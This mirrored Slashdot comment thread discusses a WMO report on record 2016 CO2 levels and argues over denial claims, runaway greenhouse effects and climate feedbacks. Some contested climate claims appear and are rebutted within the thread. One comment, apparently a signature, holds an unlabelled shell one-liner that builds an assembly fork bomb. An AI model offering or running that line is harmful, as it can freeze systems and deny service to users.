Slashdot Mirror
Carbon Pollution Touched 800,000 Year Record in 2016, WMO Says (bloomberg.com)
Carbon dioxide levels surged to their highest level in at least 800,000 years because of pollution caused by humans and a strong El Nino event, according to the World Meteorological Organization. From a report: Concentrations of the greenhouse gas increased at a record speed in 2016 to reach an average of 403.3 parts per million, up from 400 parts per million a year earlier, the WMO said in a statement on Monday warning of "severe ecological and economic disruptions." The WMO said the last time the Earth had a comparable concentration of CO2s, the temperature of the planet was 2 degrees to 3 degrees Celsius warmer and sea levels were 10 meters to 20 meters higher than now.
Back then it was covered in lush forests and giant mammals.
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
Insofar as he understands anything, he knows the desires of political hacks who will use this for massive control of the economy so they can get huge kickbacks to ease off a bit.
Follow the money.
We should no more be throwing brakes on the economy than people in 1900 should have to "help" us today...leaving us with 1970 level tech (if that) in 2017.
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
CO2 provides raw material for plant photosynthesis, which helps to grow food. Global warming = more food.
The runaway effect needs something like 3000ppm of CO2. This is not going to happen. What you need to fear is the sea level rise, desertification, extreme weather and your neighbors who will gladly kill you once they have nothing to eat.
Care to present a scientific article which pretended earth would end up like venus in a run away effect ? There is quite a few fear that there is a potential run effect with methane clathrate and a few fear about permafrost earth melting dumping a lot of carbon in the atmosphere, but none are about a venus end effect, all are more about going back to pre-cambrian or similar climate, which would be hell for all our coast , agricultural area, and various very negative effect on the food supply of a majority of the earth population, not counting that this would be so quick many species would not be able to adapt. Some *dumb* lay people may have told that, end effect venus, but then it is your fault to believe lay source rather than hard science.
C. Sagan : A demon haunted world:
http://www.amazon.com/gp/product/0345409469/
visit randi.org
It's impossible to have discussions about technology that can offset our carbon emissions because everyone ends up replying to the same tired old logical fallacies from the same willfully obtuse deniers like yourself. Your logical fallacy of choice for this post is the straw man fallacy. No one except you claimed that everything would die off. That's intellectually dishonest. Perhaps you'll return with another denial attempt from your bag of tricks such as a false dichotomy, the ad hominem fallacy, the false equivalency, dodging the question, or any number of other logical fallacies that you and other deniers love to trot out. It's a tired act that needs to stop.
The greenhouse effect is established science. Its basic physics than can be demonstrated in a laboratory. Adding more greenhouse gases to the atmosphere makes the greenhouse effect stronger. This is obvious. As for why the warmer temperatures in the past didn't have more dramatic effects on life, it's because the worst effects were probably in the oceans, plus the relatively gradual nature of the changes allowed life more time to adapt. The present day greenhouse gas increases are much more abrupt compared with what's been observed in the past, and thus there's far less time for life to evolve and adapt to the changes. An abrupt change is almost certainly much more dangerous than a gradual one, and on geologic time scales, what we're witnessing in the present day is incredibly abrupt.
Nobody sane has been saying that scenario is likely. If that's what people you are listening to are either saying or claiming that other people are saying, then you should consider listening to other people.
Not that it isn't possible. You mentioned the incontrovertible evidence yourself: Venus. It's just that the climate models don't predict it. Of course, if you believe the climate models are unreliable and untrustworthy, then a Venusian scenario is back on the table, and you really should worry about it.
But when sane people talk about runaway effects, they are talking about scenarios that merely kill hundreds of millions of people and ruin the lives of billions more. Nothing really to worry about from a species extinction point of view, but personally I'd like to avoid that.
The slashdot link is really useless. Further rant: I really hate sites that highlight a word/organisation/site and then when you click on that link will show all articles on that subject in their own site (Looking at you, engadget! )That's what bloomberg seems to do.
Here's the original link
https://public.wmo.int/en/medi...
and the actual bulletin:
https://ane4bf-datap1.s3-eu-we...
This tired old nonsense again?
https://www.skepticalscience.c...
Bring a fresh argument next time. If the climate conspiracy blogs can cook up any.
"When information is power, privacy is freedom" - Jah-Wren Ryel
Even the IPCC say there is virtually no chance of anthropogenic activities causing a runaway greenhouse effect a la Venus.
https://en.wikipedia.org/wiki/...
A runaway greenhouse effect is a process in which a net positive feedback between surface temperature and atmospheric opacity increases the strength of the greenhouse effect on a planet until its oceans boil away.[1][2] An example of this is believed to have happened in the early history of Venus. On the Earth, the IPCC states that "a 'runaway greenhouse effect'â"analogous to [that of] Venusâ"appears to have virtually no chance of being induced by anthropogenic activities."
https://www.ipcc.ch/meetings/s... page 11
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
True, but the effects are diminishing with increasing concentrations. That's because CO2 acts like an optical filter, and most of the radiation is already absorbed.
Yes, the effect is logarithmic. This has been known since Arrhenius calculated it in 1896 [ref]. And it is incorporated into every single greenhouse model that is run.
It's why the anthropogenic greenhouse effect-- about 1 degree C so far-- is so vastly smaller than the natural greenhouse effect, about 33 degrees C.[ref].
Really. This is already part of the science. You're not telling us anything that the scientists aren't already incorporating into their models.
So, if that basic physics was all there was to the science, we clearly wouldn't have to worry about carbon emissions at all.
That's not true. Again: all of the current models already incorporate the effect you notice.
In order to conclude that there is any significant danger from greenhouse gases, you have to run climate models that make various assumptions about positive feedback loops;
The main feedback effect is known as "constant humidity." If you want to turn this feedback off, you need to come up with a mechanism that decreases the humidity as the temperature rises. I'm not saying that such a model is impossible... but it's hard to come up with a realistic mechanism.
those feedback loops are not "basic physics",
They most certainly are.
can't be "demonstrated in a laboratory",
Humidity can't be measured in a laboratory? I beg to differ.
and are largely speculative and unproven at this point.
They are not.
You also have to assume that there are no additional negative feedback loops to counteract the effects, again something we don't know.
People have been searching for such a negative feedback loop for several decades. So far all of the ones proposed have been disproven by measurements.
Uh, you do know that people measure the properties of the atmosphere, right? And that climate models are baselined against measured values?
It's dishonest for you and others to conflate the basic physics of the greenhouse effect with the speculative models involving assumptions about feedback that are used to argue for the need to reduce carbon emissions.
Except for the most part these aren't speculative models. They're well-tested models that are checked against measurements. And, there are many thousands of models run-- by independent groups on all five continents-- and cross-checked against each other to see which effects dominate. That's why the climate study outputs have error bars, because one of the things we do know is how much we don't know.
Yes, that's right: the actual science includes error bars. That's one of the ways you can tell the science from the speculation, like yours.